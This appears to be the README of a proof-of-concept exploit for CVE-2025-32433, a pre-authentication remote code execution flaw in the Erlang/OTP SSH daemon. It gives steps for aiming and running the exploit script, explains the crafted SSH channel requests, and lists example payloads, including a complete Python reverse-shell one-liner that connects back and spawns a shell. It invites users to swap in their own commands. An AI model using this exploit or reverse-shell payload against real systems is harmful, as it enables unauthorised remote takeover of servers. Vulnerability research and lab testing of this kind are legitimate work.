CVE-2025-32433 – Erlang/OTP SSH RCE Vulnerability

📌 Summary

CVE-2025-32433 is a remote code execution (RCE) vulnerability affecting the Erlang/OTP SSH daemon. The root cause is improper handling of pre-authentication SSH channel requests which can be crafted by an attacker to cause arbitrary command execution before authentication. The included PoC demonstrates sending such crafted SSH packets; by default it writes /lab.txt on the target but can be adapted for other commands.

🛠️ Usage

1. Edit target details in the PoC script:

HOST = "127.0.0.1"  # Target IP
PORT = 2222         # Target SSH port

2. Run the exploit:

python3 cve-2025-32433.py

By default it creates /lab.txt containing pwned. Modify the payload in build_channel_request to run your own commands.

🧩 Example Payloads

# Write a file
file:write_file("/lab.txt", <<"pwned">>).
Spawn a reverse shell
os:cmd("python3 -c 'import socket,subprocess,os;
s=socket.socket(); s.connect(("127.0.0.1",2222));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2); import pty; pty.spawn("sh")'")

🔧 How the PoC Works (short)

• Connects to the SSH service and exchanges banners.
• Sends a crafted SSH_MSG_KEXINIT to look like a normal handshake.
• Sends SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST with an exec payload before authentication.
• If vulnerable, the server executes the supplied Erlang command.

🙏 Credits

Discovery and write-up by Matt Keeley (Platform Security). Thanks to him for publishing the PoC and sharing details.

Blog link: https://platformsecurity.com/blog/CVE-2025-32433-poc

📚 References

• Matt Keeley’s blog
• Erlang/OTP Security Advisories
• MITRE CVE Record